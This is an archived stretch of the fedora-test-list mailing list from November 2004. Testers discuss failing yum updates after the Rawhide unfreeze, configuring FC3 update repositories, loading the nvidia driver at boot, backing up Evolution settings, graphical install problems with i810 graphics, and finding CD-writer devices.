<604aa791041107092763801738@mail.gmail.com> Message-ID: <1099872419.3384.112.camel@localhost.localdomain> On Sun, 2004-11-07 at 12:27 -0500, Jeff Spaleta wrote: > > The development tree... just came out of release freeze. And very > new.. very raw packages are now showing up in the development tree. > Its not completely unexpected to see very new packages be included > that have packaging problems, like missing dependancies or wrong > dependancies. You can't really think of the development tree as being > updates for fc3test releases any longer. What development is being > used for starting yesterday, is staging for fc4. > While I noticed Chris's displeasure at the lecture, *I* didn't know that. Not having been exposed to Rawhide until about two weeks ago, I would have expected the "unfreeze" to happen *on* the release date of FC3, not a couple of days earlier. Of course, I can see the point since now that the code is being distributed and the mirrors are being populated, there's no point in a Rawhide freeze any more. Didn't see it coming and wouldn't have predicted it, but can understand it. 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Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From kai.thomsen at gmx.de Mon Nov 8 00:12:40 2004 From: kai.thomsen at gmx.de (Kai Thomsen) Date: Mon, 8 Nov 2004 01:12:40 +0100 Subject: Backing up Evolution In-Reply-To: <1099577372.3339.9.camel@saturn.stcl.edu> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> <1099523701.3323.62.camel@thomas.camerontech.com> <1099524463.3920.22.camel@cassandra.boston.redhat.com> <1099541448.4506.21.camel@thomas.camerontech.com> <1099577372.3339.9.camel@saturn.stcl.edu> Message-ID: <20041108011240.33333513.kai.thomsen@gmx.de> Timothy Sandel wrote: > On Wed, 2004-11-03 at 22:10 -0600, Thomas Cameron wrote: > > On Wed, 2004-11-03 at 18:27 -0500, David Malcolm wrote: > > > > > > > > You should also save the relevant GConf settings, below > > > /apps/evolution > > > > > > gconftool-2 --dump /apps/evolution > some_file.xml > > > > > > (this is where your account data and preferences are stored) > > > So how do you restore the xml info after a reinstall? I'd suggest using: gconftool-2 --recursive-unset /apps/evolution gconftool-2 --load=/path/to/evo_dump.xml /apps/evolution -- HTH, Kai From ernesto at ornl.gov Mon Nov 8 00:14:26 2004 From: ernesto at ornl.gov (Ernest L. Williams Jr.) Date: Sun, 07 Nov 2004 19:14:26 -0500 Subject: nvidia driver does not load via modprobe.conf In-Reply-To: <418EB347.20602@comcast.net> References: <1099869577.4760.4.camel@lion> <418EB347.20602@comcast.net> Message-ID: <1099872867.3829.1.camel@lion> On Sun, 2004-11-07 at 18:44 -0500, Jim Martin wrote: > Ernest L. Williams Jr. wrote: > > >Hi, > > > >I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. > > > >The driver does not load upon reboot which leads to X failing. > > > >I noticed the following line in my modprobe.conf file: > > > >================ modprobe.conf snippet ========================= > >alias ieee1394-controller ohci1394 > >alias char-major-195* nvidia > >================================================================ > > > >After running "modprobe nvidia" manually everything works. However, > >next time I boot up it is gone again. > > > > > >Does anyone know the magic trick here? > > > > > > > >Thanks, > >Ernesto > > > > > > > Sorry, that was a rushed reply: > > more detail: > > In the rc.sysinit file look for the section marked like this: > > echo -n $"Initializing hardware... " > > ide="" > scsi="" > network="" > audio="" > other="" > > Replace other="" with other="nvidia" > and save it. > > if the fedora core graphic boot is important to you, then you need to > make a copy of your xorg.conf and copy it to your /etc/rhgb/xorg.conf > and under the section for your video card, change it back to nv > > Section "Device" > Identifier "Videocard0" > Driver "nv" > VendorName "Videocard vendor" > BoardName "NVIDIA GeForce FX (generic)" > EndSection > > this will allow rhgb to use the nv driver, and your gdm and xwindows > will use the nvidia module so that you have enhanced graphics. > > if graphical boot is not important to you, then you need to edit the > kernel line in /boot/grub/grub.conf and remove the rhgb otherwise it may > ( and most likely will) lock up when booting. > > kernel /vmlinuz-2.6.9-1.667 ro root=/dev/VolGroup00/LogVol00 quiet > > Hope this was a little clearer. Your first reply was excellent. However, more details is always good as well. Thanks, Ernesto > > BaVinic > From ernesto at ornl.gov Mon Nov 8 00:19:48 2004 From: ernesto at ornl.gov (Ernest L. Williams Jr.) Date: Sun, 07 Nov 2004 19:19:48 -0500 Subject: Yum update fails python deps today... In-Reply-To: <1099872419.3384.112.camel@localhost.localdomain> References: <1099844552.4800.0.camel@spike-home.comcast.net> <604aa791041107092763801738@mail.gmail.com> <1099872419.3384.112.camel@localhost.localdomain> Message-ID: <1099873188.3829.6.camel@lion> On Sun, 2004-11-07 at 18:06 -0600, Rodolfo J. Paiz wrote: > On Sun, 2004-11-07 at 12:27 -0500, Jeff Spaleta wrote: > > > > The development tree... just came out of release freeze. And very > > new.. very raw packages are now showing up in the development tree. > > Its not completely unexpected to see very new packages be included > > that have packaging problems, like missing dependancies or wrong > > dependancies. You can't really think of the development tree as being > > updates for fc3test releases any longer. What development is being > > used for starting yesterday, is staging for fc4. > > > > While I noticed Chris's displeasure at the lecture, *I* didn't know > that. Not having been exposed to Rawhide until about two weeks ago, I > would have expected the "unfreeze" to happen *on* the release date of > FC3, not a couple of days earlier. > > Of course, I can see the point since now that the code is being > distributed and the mirrors are being populated, there's no point in a > Rawhide freeze any more. Didn't see it coming and wouldn't have > predicted it, but can understand it. > > Spoon-feeding the Rawhide newbies with a quick one-line announcement of > such events is a totally unnecessary little detail, which would > nevertheless be gratefully appreciated if at some point it occurs to > someone to do something like that. Thanks for this post. I was also getting confused today. I would like to point one of my boxes to the Fedora Core3 Updates Repository. Can someone tell me what to put in my "/etc/yum.conf" and "/etc/sysconfig/rhn/sources" files? Of course, I will keep one of my boxes pointed at rawhide in anticipation of Fedora Core4 Test1, hmmm? Thanks, Ernesto > > Cheers, > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From chrisw01 at privatei.com Mon Nov 8 01:00:24 2004 From: chrisw01 at privatei.com (Christopher A. Williams) Date: Sun, 07 Nov 2004 18:00:24 -0700 Subject: Yum update fails python deps today... In-Reply-To: <1099873188.3829.6.camel@lion> References: <1099844552.4800.0.camel@spike-home.comcast.net> <604aa791041107092763801738@mail.gmail.com> <1099872419.3384.112.camel@localhost.localdomain> <1099873188.3829.6.camel@lion> Message-ID: <1099875624.7156.10.camel@spike-home.comcast.net> On Sun, 2004-11-07 at 19:19 -0500, Ernest L. Williams Jr. wrote: > On Sun, 2004-11-07 at 18:06 -0600, Rodolfo J. Paiz wrote: > > On Sun, 2004-11-07 at 12:27 -0500, Jeff Spaleta wrote: > > > > > > The development tree... just came out of release freeze. And very > > > new.. very raw packages are now showing up in the development tree. > > > Its not completely unexpected to see very new packages be included > > > that have packaging problems, like missing dependancies or wrong > > > dependancies. You can't really think of the development tree as being > > > updates for fc3test releases any longer. What development is being > > > used for starting yesterday, is staging for fc4. > > > > > > > While I noticed Chris's displeasure at the lecture, *I* didn't know > > that. Not having been exposed to Rawhide until about two weeks ago, I > > would have expected the "unfreeze" to happen *on* the release date of > > FC3, not a couple of days earlier. > > > > Of course, I can see the point since now that the code is being > > distributed and the mirrors are being populated, there's no point in a > > Rawhide freeze any more. Didn't see it coming and wouldn't have > > predicted it, but can understand it. > > > > Spoon-feeding the Rawhide newbies with a quick one-line announcement of > > such events is a totally unnecessary little detail, which would > > nevertheless be gratefully appreciated if at some point it occurs to > > someone to do something like that. > > Thanks for this post. I was also getting confused today. > > I would like to point one of my boxes to the Fedora Core3 Updates > Repository. > Can someone tell me what to put in my "/etc/yum.conf" and > "/etc/sysconfig/rhn/sources" files? > > Of course, I will keep one of my boxes pointed at rawhide in > anticipation of Fedora Core4 Test1, hmmm? If you have yum-2.1.11-3 already, /etc/yum.conf should have the entries you are looking for just commented out. Un-comment the [base], [updates- released] and (if you like) [updates-testing] sections and comment out the [development] entries. You also may need to tweak a couple of other things the first time through in the event that $releasever is still set to 2.92 as opposed to 3. ..After this last point, I'll choose to ignore (and thus continue to express my displeasure) Jef's other replies, which while they may have had good information for others, were in my opinion, voiced in an immature fashion. There are ways to reply with useful "rawhide newbie" info and not be offensive. Spewage for perceived spewage doesn't help. Cheers, Chris -- ====================== When the solution is simple, God is answering. -- Albert Einstein From terraformers at gmx.net Mon Nov 8 01:09:19 2004 From: terraformers at gmx.net (Lars) Date: Mon, 08 Nov 2004 02:09:19 +0100 Subject: nvidia driver does not load via modprobe.conf References: <1099869577.4760.4.camel@lion> <418EB12B.20309@comcast.net> <1099871630.3980.5.camel@guyleidadell> Message-ID: W. Guy Thomas wrote: > On Sun, 2004-11-07 at 18:35 -0500, Jim Martin wrote: >> Ernest L. Williams Jr. wrote: >> >> >Hi, >> > >> >I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. >> > >> >The driver does not load upon reboot which leads to X failing. >> > >> >I noticed the following line in my modprobe.conf file: >> > >> >================ modprobe.conf snippet ========================= >> >alias ieee1394-controller ohci1394 >> >alias char-major-195* nvidia >> >================================================================ >> > >> >After running "modprobe nvidia" manually everything works. However, >> >next time I boot up it is gone again. >> > >> > >> >Does anyone know the magic trick here? >> > >> > >> > >> >Thanks, >> >Ernesto >> > >> > >> > >> What I do is edit /etc/rc.d/rc.sysinit >> where it says other="" I put other="nvidia" works for me, >> >> also, if you are going to do that, you will need to either remove the >> rhgb from the grub menu, or make a copy of your xorg.conf and copy it to >> /etc/rhgb/xorg.conf and replace the area where it says nvidia with nv , >> this will allow for fedora graphics on boot, and will still use the >> nvidia module for gdm and x. >> >> Jim >> > > or add '/sbin/modprobe nvidia' in /etc/rc.local (no quotes of course) > if you're running udev, maybe the nvidia section of http://fedora.redhat.com/docs/udev helps too. L -- No Software Patents! http://nosoftwarepatents.com Get Firefox! http://spreadfirefox.com From fct-cornette at insight.rr.com Mon Nov 8 01:11:21 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Sun, 07 Nov 2004 20:11:21 -0500 Subject: What I hope is not in FC3 In-Reply-To: <20041107023938.GB12856@devserv.devel.redhat.com> References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> Message-ID: <418EC7B9.4070402@insight.rr.com> Alan Cox wrote: > On Sat, Nov 06, 2004 at 10:32:54PM -0500, Jim Cornette wrote: > >>3) CD burning programs that do not select rational default settings, to >>prevent mediacheck errors. > > > The problem to be fair is in the IDE CD driver not the CD burners, its not > yet fixed and its not trivial to fix or it would have been fixed by now > This is understandable, I reviewed the FC3 release notes and there was mention of running mediacheck on the CDs. There was no mention regarding IDE CDROM drives not getting things correct during the present state while the difficult limitations exist regarding the failure of mediacheck. This would probably save a lot of people that were not participants during the testing phase from wasting a lot of functional burned CDs. Thanks for the earlier definition regarding the problem and the newer information regarding the reader portion and not the writer portion for IDE CDROMs being limitd from this 2.6 kernel related problem. Jim -- We are not a loved organization, but we are a respected one. -- John Fisher From fct-cornette at insight.rr.com Mon Nov 8 01:19:54 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Sun, 07 Nov 2004 20:19:54 -0500 Subject: What I hope is not in FC3 In-Reply-To: <604aa7910411061942602dc0e9@mail.gmail.com> References: <418D9766.1030204@insight.rr.com> <604aa7910411061942602dc0e9@mail.gmail.com> Message-ID: <418EC9BA.6020309@insight.rr.com> Jeff Spaleta wrote: > On Sat, 06 Nov 2004 22:32:54 -0500, Jim Cornette > wrote: > >>5) not being able to do a normal graphical installation, without special >>parameters issued before the install. > > > "normal" ? I think your definition of "normal" has to be different than mine. > Because i can certaintly do a "normal" graphical installation with no > extra parameters on my "normal" hardware using the full install media > from pretty much every single mediaset that i have done an install > from from test1 onward. > > > -jef"adnormal is the new normal, and normal the new adnormal"spaleta > Due to the breakage regarding the 815 graphics controller that uses the i810 driver. It is now needed to add parameters to the installer in order to get the installer to function in graphics mode. This entails figuring out which information is needed to get the installer to proceed in graphics mode now. I heard that someone had success by passing 800x600 resolution to the installer before starting the installer. Before the breakage, nothing needed to be passed to the installer, unless you wanted to install reiserfs, expert or any out of the ordinary options. Now, it is either experiment with options to the installer or just choose a text install. Jim -- The sum of the Universe is zero. From perbj at stanford.edu Mon Nov 8 01:21:13 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Sun, 07 Nov 2004 17:21:13 -0800 Subject: Yum update fails python deps today... In-Reply-To: <1099875624.7156.10.camel@spike-home.comcast.net> References: <1099844552.4800.0.camel@spike-home.comcast.net> <604aa791041107092763801738@mail.gmail.com> <1099872419.3384.112.camel@localhost.localdomain> <1099873188.3829.6.camel@lion> <1099875624.7156.10.camel@spike-home.comcast.net> Message-ID: <1099876873.3906.41.camel@localhost.localdomain> On Sun, 2004-11-07 at 17:00, Christopher A. Williams wrote: > On Sun, 2004-11-07 at 19:19 -0500, Ernest L. Williams Jr. wrote: > > Of course, I will keep one of my boxes pointed at rawhide in > > anticipation of Fedora Core4 Test1, hmmm? > > If you have yum-2.1.11-3 already, /etc/yum.conf should have the entries > you are looking for just commented out. Un-comment the [base], [updates- > released] and (if you like) [updates-testing] sections and comment out > the [development] entries. You also may need to tweak a couple of other > things the first time through in the event that $releasever is still set > to 2.92 as opposed to 3. Actually, the latest version of yum only has the global configuration in yum.conf. The actual repository listings are in the .repo files in /etc/yum.repos.d/ and they are nowadays provided by the fedora-release package. /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From fct-cornette at insight.rr.com Mon Nov 8 01:31:49 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Sun, 07 Nov 2004 20:31:49 -0500 Subject: What I hope is not in FC3 In-Reply-To: <1099807010.3384.64.camel@localhost.localdomain> References: <418D9766.1030204@insight.rr.com> <604aa7910411061942602dc0e9@mail.gmail.com> <1099807010.3384.64.camel@localhost.localdomain> Message-ID: <418ECC85.5010803@insight.rr.com> Rodolfo J. Paiz wrote: > On Sat, 2004-11-06 at 22:42 -0500, Jeff Spaleta wrote: > >>On Sat, 06 Nov 2004 22:32:54 -0500, Jim Cornette >> wrote: >> >>>5) not being able to do a normal graphical installation, without special >>>parameters issued before the install. >> >>"normal" ? I think your definition of "normal" has to be different than mine. >>Because i can certaintly do a "normal" graphical installation with no >>extra parameters on my "normal" hardware [...] > > > As can I. I've done graphical installs even on a Pentium Pro (200MHz) > with 64MB of RAM and a 1GB hard drive (just last week), and have done > them flawlessly on dozens if not hundreds of other (usually faster) > computers before. Been doing them since at least RHL-9, too. > > What your problem is, I have no idea... but I can assure you that I and > many, many, *many* computers do not share it. > > Cheers, > > As mentioned in the reply to Jef, this is a new requirement because of newly added breakage regarding the particular chipset. I have tried several other computers that use different hardware, with success. One of them also uses the i810 driver and works better now than before FC3 was developed. Actually, the computer with the 865G Graphics controller works much more reliably than with FC2 and even FC3T1. My hope was that most computers will install without the need for special options. Since this issue was not mentioned in the release notes (Or I missed reading the portion while reading the release notes), this might catch a lot of people that install the more popular final releases. It would be bad to get poor feedback from masses of people having the installer bug out, whn their previous installations were pretty much flawless when using previous releases. I'm for FC3 and realize that it is a great work, though some things might catch users by surprise, with a negative outlook from expectations. Jim -- I read the newspaper avidly. It is my one form of continuous fiction. -- Aneurin Bevan From mrguytx at austin.rr.com Mon Nov 8 01:35:20 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 07 Nov 2004 19:35:20 -0600 Subject: nvidia driver does not load via modprobe.conf In-Reply-To: References: <1099869577.4760.4.camel@lion> <418EB12B.20309@comcast.net> <1099871630.3980.5.camel@guyleidadell> Message-ID: <1099877721.5895.0.camel@guyleidadell> On Mon, 2004-11-08 at 02:09 +0100, Lars wrote: > W. Guy Thomas wrote: > > > On Sun, 2004-11-07 at 18:35 -0500, Jim Martin wrote: > >> Ernest L. Williams Jr. wrote: > >> > >> >Hi, > >> > > >> >I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. > >> > > >> >The driver does not load upon reboot which leads to X failing. > >> > > >> >I noticed the following line in my modprobe.conf file: > >> > > >> >================ modprobe.conf snippet ========================= > >> >alias ieee1394-controller ohci1394 > >> >alias char-major-195* nvidia > >> >================================================================ > >> > > >> >After running "modprobe nvidia" manually everything works. However, > >> >next time I boot up it is gone again. > >> > > >> > > >> >Does anyone know the magic trick here? > >> > > >> > > >> > > >> >Thanks, > >> >Ernesto > >> > > >> > > >> > > >> What I do is edit /etc/rc.d/rc.sysinit > >> where it says other="" I put other="nvidia" works for me, > >> > >> also, if you are going to do that, you will need to either remove the > >> rhgb from the grub menu, or make a copy of your xorg.conf and copy it to > >> /etc/rhgb/xorg.conf and replace the area where it says nvidia with nv , > >> this will allow for fedora graphics on boot, and will still use the > >> nvidia module for gdm and x. > >> > >> Jim > >> > > > > or add '/sbin/modprobe nvidia' in /etc/rc.local (no quotes of course) > > > > if you're running udev, maybe the nvidia section of > http://fedora.redhat.com/docs/udev helps too. > > L > > -- > No Software Patents! http://nosoftwarepatents.com > Get Firefox! http://spreadfirefox.com > > > interesting, let me give that a shot. it won't fix my resolution problem, but at least it's more elegant than the workaround I did. thanks. -- =Guy 19:34:46 up 1:04, 2 users, load average: 1.49, 1.55, 0.97 From tweeksjunk2 at theweeks.org Mon Nov 8 01:50:42 2004 From: tweeksjunk2 at theweeks.org (Tom Weeks) Date: Sun, 7 Nov 2004 19:50:42 -0600 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? In-Reply-To: <1099687366.3589.16.camel@thomas.camerontech.com> References: <1099686310.3589.15.camel@thomas.camerontech.com> <1099686844.22473.0.camel@localhost.localdomain> <1099687366.3589.16.camel@thomas.camerontech.com> Message-ID: <200411071950.42101.tweeksjunk2@theweeks.org> On Friday 05 November 2004 02:42 pm, Thomas Cameron wrote: Hey Thomas... How goes it? Tweeks here... In the future... you can quickly find your cdwriter device and related links like this: # ls -la /dev/ | grep scd0$ lrwxrwxrwx 1 root root 9 Sep 23 2002 cdrom -> /dev/scd0 lrwxrwxrwx 1 root root 9 Sep 23 2002 cdrw -> /dev/scd0 brw-rw---- 1 root disk 11, 0 Apr 11 2002 scd0 And find the device notation for your cdrecord pointer like this: # cdrecord --scanbus Cdrecord 1.10 (i686-pc-linux-gnu) Copyright (C) 1995-2001 J?rg Schilling Linux sg driver version: 3.1.24 Using libscg version 'schily-0.5' scsibus0: 0,0,0 0) 'SEAGATE ' 'ST34520N ' '1498' Disk 0,1,0 1) 'SEAGATE ' 'ST39173N ' '5958' Disk 0,2,0 2) * 0,3,0 3) * 0,4,0 4) * 0,5,0 5) 'HP ' 'C1130A ' '3540' Processor 0,6,0 6) 'YAMAHA ' 'CRW6416S ' '1.0d' Removable CD-ROM 0,7,0 7) * (Although this is a real SCSI bus, not an emulated one.. the concept's the same) L8ER man.. Tweeks From chrisw01 at privatei.com Mon Nov 8 02:12:36 2004 From: chrisw01 at privatei.com (Christopher A. Williams) Date: Sun, 07 Nov 2004 19:12:36 -0700 Subject: Yum update fails python deps today... In-Reply-To: <1099876873.3906.41.camel@localhost.localdomain> References: <1099844552.4800.0.camel@spike-home.comcast.net> <604aa791041107092763801738@mail.gmail.com> <1099872419.3384.112.camel@localhost.localdomain> <1099873188.3829.6.camel@lion> <1099875624.7156.10.camel@spike-home.comcast.net> <1099876873.3906.41.camel@localhost.localdomain> Message-ID: <1099879956.7631.3.camel@spike-home.comcast.net> On Sun, 2004-11-07 at 17:21 -0800, Per Bjornsson wrote: > > If you have yum-2.1.11-3 already, /etc/yum.conf should have the entries > > you are looking for just commented out. Un-comment the [base], [updates- > > released] and (if you like) [updates-testing] sections and comment out > > the [development] entries. You also may need to tweak a couple of other > > things the first time through in the event that $releasever is still set > > to 2.92 as opposed to 3. > > Actually, the latest version of yum only has the global configuration in > yum.conf. The actual repository listings are in the .repo files in > /etc/yum.repos.d/ and they are nowadays provided by the fedora-release > package. > > /Per Good to know. Except my version of Yum does not have any .repo files in /etc/yum.repos.d/ yet. The directory is there though. Seems you need to update to the fedora-release version of yum first. It would likely be easier (for me anyway) to just wait until the mirrors open in the morning and take advantage of that nifty new 16X Dual-Layer DVD+-RW I just bought. Looking forward to that ... Cheers, Chris -- ====================== When the solution is simple, God is answering. -- Albert Einstein From thomas.cameron at camerontech.com Mon Nov 8 02:19:41 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Sun, 7 Nov 2004 20:19:41 -0600 Subject: HP USB 2.0 DVD+RW Drive Not Recognized? References: <1099686310.3589.15.camel@thomas.camerontech.com><1099686844.22473.0.camel@localhost.localdomain><1099687366.3589.16.camel@thomas.camerontech.com> <200411071950.42101.tweeksjunk2@theweeks.org> Message-ID: <000d01c4c539$680fa500$6f02000a@inspiron> ----- Original Message ----- From: "Tom Weeks" To: "For testers of Fedora Core development releases" Sent: Sunday, November 07, 2004 7:50 PM Subject: Re: HP USB 2.0 DVD+RW Drive Not Recognized? > On Friday 05 November 2004 02:42 pm, Thomas Cameron wrote: > > Hey Thomas... How goes it? > Tweeks here... > > In the future... you can quickly find your cdwriter device and related > links > like this: Yeah, I don't know what I was thinking - I saw something about /dev/sr0 and thought that the old /dev/scd* stuff had gone away. Over-thinking, I think. :-s TC From ernesto at ornl.gov Mon Nov 8 02:20:23 2004 From: ernesto at ornl.gov (Ernest L. Williams Jr.) Date: Sun, 07 Nov 2004 21:20:23 -0500 Subject: nvidia driver does not load via modprobe.conf In-Reply-To: References: <1099869577.4760.4.camel@lion> <418EB12B.20309@comcast.net> <1099871630.3980.5.camel@guyleidadell> Message-ID: <1099880423.3967.0.camel@lion> On Mon, 2004-11-08 at 02:09 +0100, Lars wrote: > W. Guy Thomas wrote: > > > On Sun, 2004-11-07 at 18:35 -0500, Jim Martin wrote: > >> Ernest L. Williams Jr. wrote: > >> > >> >Hi, > >> > > >> >I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. > >> > > >> >The driver does not load upon reboot which leads to X failing. > >> > > >> >I noticed the following line in my modprobe.conf file: > >> > > >> >================ modprobe.conf snippet ========================= > >> >alias ieee1394-controller ohci1394 > >> >alias char-major-195* nvidia > >> >================================================================ > >> > > >> >After running "modprobe nvidia" manually everything works. However, > >> >next time I boot up it is gone again. > >> > > >> > > >> >Does anyone know the magic trick here? > >> > > >> > > >> > > >> >Thanks, > >> >Ernesto > >> > > >> > > >> > > >> What I do is edit /etc/rc.d/rc.sysinit > >> where it says other="" I put other="nvidia" works for me, > >> > >> also, if you are going to do that, you will need to either remove the > >> rhgb from the grub menu, or make a copy of your xorg.conf and copy it to > >> /etc/rhgb/xorg.conf and replace the area where it says nvidia with nv , > >> this will allow for fedora graphics on boot, and will still use the > >> nvidia module for gdm and x. > >> > >> Jim > >> > > > > or add '/sbin/modprobe nvidia' in /etc/rc.local (no quotes of course) > > > > if you're running udev, maybe the nvidia section of > http://fedora.redhat.com/docs/udev helps too. Yes, I tried that just now. Works like a charm!! Thanks, Ernesto > > L > > -- > No Software Patents! http://nosoftwarepatents.com > Get Firefox! http://spreadfirefox.com > > > From thomas.cameron at camerontech.com Mon Nov 8 02:20:43 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Sun, 7 Nov 2004 20:20:43 -0600 Subject: Yum update fails python deps today... References: <1099844552.4800.0.camel@spike-home.comcast.net><604aa791041107092763801738@mail.gmail.com><1099872419.3384.112.camel@localhost.localdomain><1099873188.3829.6.camel@lion><1099875624.7156.10.camel@spike-home.comcast.net><1099876873.3906.41.camel@localhost.localdomain> <1099879956.7631.3.camel@spike-home.comcast.net> Message-ID: <001201c4c539$8cd4a390$6f02000a@inspiron> ----- Original Message ----- From: "Christopher A. Williams" To: "Fedora Test" Sent: Sunday, November 07, 2004 8:12 PM Subject: Re: Yum update fails python deps today... > It would likely be easier (for me anyway) to just wait until the mirrors > open in the morning Except that they won't open til 3:00 pm eastern time. :-( TC From mrguytx at austin.rr.com Mon Nov 8 02:24:52 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 07 Nov 2004 20:24:52 -0600 Subject: nvidia driver does not load via modprobe.conf In-Reply-To: <1099880423.3967.0.camel@lion> References: <1099869577.4760.4.camel@lion> <418EB12B.20309@comcast.net> <1099871630.3980.5.camel@guyleidadell> <1099880423.3967.0.camel@lion> Message-ID: <1099880692.5895.11.camel@guyleidadell> On Sun, 2004-11-07 at 21:20 -0500, Ernest L. Williams Jr. wrote: > On Mon, 2004-11-08 at 02:09 +0100, Lars wrote: > > W. Guy Thomas wrote: > > > > > On Sun, 2004-11-07 at 18:35 -0500, Jim Martin wrote: > > >> Ernest L. Williams Jr. wrote: > > >> > > >> >Hi, > > >> > > > >> >I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. > > >> > > > >> >The driver does not load upon reboot which leads to X failing. > > >> > > > >> >I noticed the following line in my modprobe.conf file: > > >> > > > >> >================ modprobe.conf snippet ========================= > > >> >alias ieee1394-controller ohci1394 > > >> >alias char-major-195* nvidia > > >> >================================================================ > > >> > > > >> >After running "modprobe nvidia" manually everything works. However, > > >> >next time I boot up it is gone again. > > >> > > > >> > > > >> >Does anyone know the magic trick here? > > >> > > > >> > > > >> > > > >> >Thanks, > > >> >Ernesto > > >> > > > >> > > > >> > > > >> What I do is edit /etc/rc.d/rc.sysinit > > >> where it says other="" I put other="nvidia" works for me, > > >> > > >> also, if you are going to do that, you will need to either remove the > > >> rhgb from the grub menu, or make a copy of your xorg.conf and copy it to > > >> /etc/rhgb/xorg.conf and replace the area where it says nvidia with nv , > > >> this will allow for fedora graphics on boot, and will still use the > > >> nvidia module for gdm and x. > > >> > > >> Jim > > >> > > > > > > or add '/sbin/modprobe nvidia' in /etc/rc.local (no quotes of course) > > > > > > > if you're running udev, maybe the nvidia section of > > http://fedora.redhat.com/docs/udev helps too. > Yes, I tried that just now. Works like a charm!! > > > Thanks, > Ernesto > > > > > > > L > > > > -- > > No Software Patents! http://nosoftwarepatents.com > > Get Firefox! http://spreadfirefox.com > > > > > > > good to hear! at least I helped someone today, my story is different! lol. -- =Guy 20:24:21 up 1:54, 2 users, load average: 0.54, 0.53, 0.48 From javaman67 at acd.net Mon Nov 8 02:28:08 2004 From: javaman67 at acd.net (Brian Craft) Date: Sun, 07 Nov 2004 21:28:08 -0500 Subject: yum update from RC5 to full release possible? In-Reply-To: <418E56F4.5030400@broadpark.no> References: <200411060111.24328.gene.heskett@verizon.net> <1099806537.3414.74.camel@hermione.soho.bytebot.net> <1099835767.4821.54.camel@RuneLinux.tamn.local> <1099839759.3718.1.camel@craft.us.org> <418E56F4.5030400@broadpark.no> Message-ID: <1099880889.5029.1.camel@craft.us.org> On Sun, 2004-11-07 at 18:10 +0100, Truls Gulbrandsen wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Brian Craft wrote: > | On Sun, 2004-11-07 at 08:56 -0500, Robert Couture wrote: > | > |>On Sun, 2004-07-11 at 16:48 +1100, Colin Charles wrote: > |> > |>>yum update yum > |> > |>>first. Then afterward, a full update/upgrade will do you good. I think > |>>even /etc/fedora-release should get sorted out for you ;) > |> > |>That brings up a question. Shouldn't /etc/fedora-release have been > |>updated as RAWHIDE got updated? > |> > |>The reason I ask, is that my system still shows is as test2 although I > |>am current to RAWHIDE. > |> > |>Thanks, > |> > |>Robert. > |> > |> > |> > | > | fedora-release-3-6.i386.rpm appears to report as Fedora Core > | 3..........I got it from > | http://testing.fedora.redhat.com/tree/i386/os/Fedora/RPMS/ > | > Hi, > Be carefull!!!! I have tried the yum upgrade method from fc2 to the > latest fc3test version. > For me it did not work and I have not found a work-around to my problem. > > The thing is that everything seems to go fine as described by the > experts all the way till reboot time. Then my computer stops loading at > a point where it "switch to new root". And thats it. The hard disk does > some work and it all stops. > > Luckily I did this on a test machine so no info are lost but be carefull > to make back ups and be prepared to do a complete install if all goes wrong. > > Please check out mails with the subject "yum upgrade?" > > Truls > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (GNU/Linux) > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > iD8DBQFBjlb0ickK29LSyG8RAtaYAJ9nBXetOqiFEG+qzPhj4JM2fVJP/ACfb2DY > 8SMEqqNJWSPfb5E/pOk0XFI= > =wvg+ > -----END PGP SIGNATURE----- > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list I installed FC3 RC1 and then have used the above link to keep it up to date with no problems at all............it works for me. -- Brian Craft Yahoo Instant Messenger ID: bcraft67 AIM: linuxman67 Linux Counter id: 97873 Linux......the OS of Choice! From mrguytx at austin.rr.com Mon Nov 8 02:30:20 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 07 Nov 2004 20:30:20 -0600 Subject: nvidia driver does not load via modprobe.conf In-Reply-To: <1099880692.5895.11.camel@guyleidadell> References: <1099869577.4760.4.camel@lion> <418EB12B.20309@comcast.net> <1099871630.3980.5.camel@guyleidadell> <1099880423.3967.0.camel@lion> <1099880692.5895.11.camel@guyleidadell> Message-ID: <1099881020.5895.13.camel@guyleidadell> oops, see? I didn't even help! misread post, sorry. G On Sun, 2004-11-07 at 20:24 -0600, W. Guy Thomas wrote: > On Sun, 2004-11-07 at 21:20 -0500, Ernest L. Williams Jr. wrote: > > On Mon, 2004-11-08 at 02:09 +0100, Lars wrote: > > > W. Guy Thomas wrote: > > > > > > > On Sun, 2004-11-07 at 18:35 -0500, Jim Martin wrote: > > > >> Ernest L. Williams Jr. wrote: > > > >> > > > >> >Hi, > > > >> > > > > >> >I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. > > > >> > > > > >> >The driver does not load upon reboot which leads to X failing. > > > >> > > > > >> >I noticed the following line in my modprobe.conf file: > > > >> > > > > >> >================ modprobe.conf snippet ========================= > > > >> >alias ieee1394-controller ohci1394 > > > >> >alias char-major-195* nvidia > > > >> >================================================================ > > > >> > > > > >> >After running "modprobe nvidia" manually everything works. However, > > > >> >next time I boot up it is gone again. > > > >> > > > > >> > > > > >> >Does anyone know the magic trick here? > > > >> > > > > >> > > > > >> > > > > >> >Thanks, > > > >> 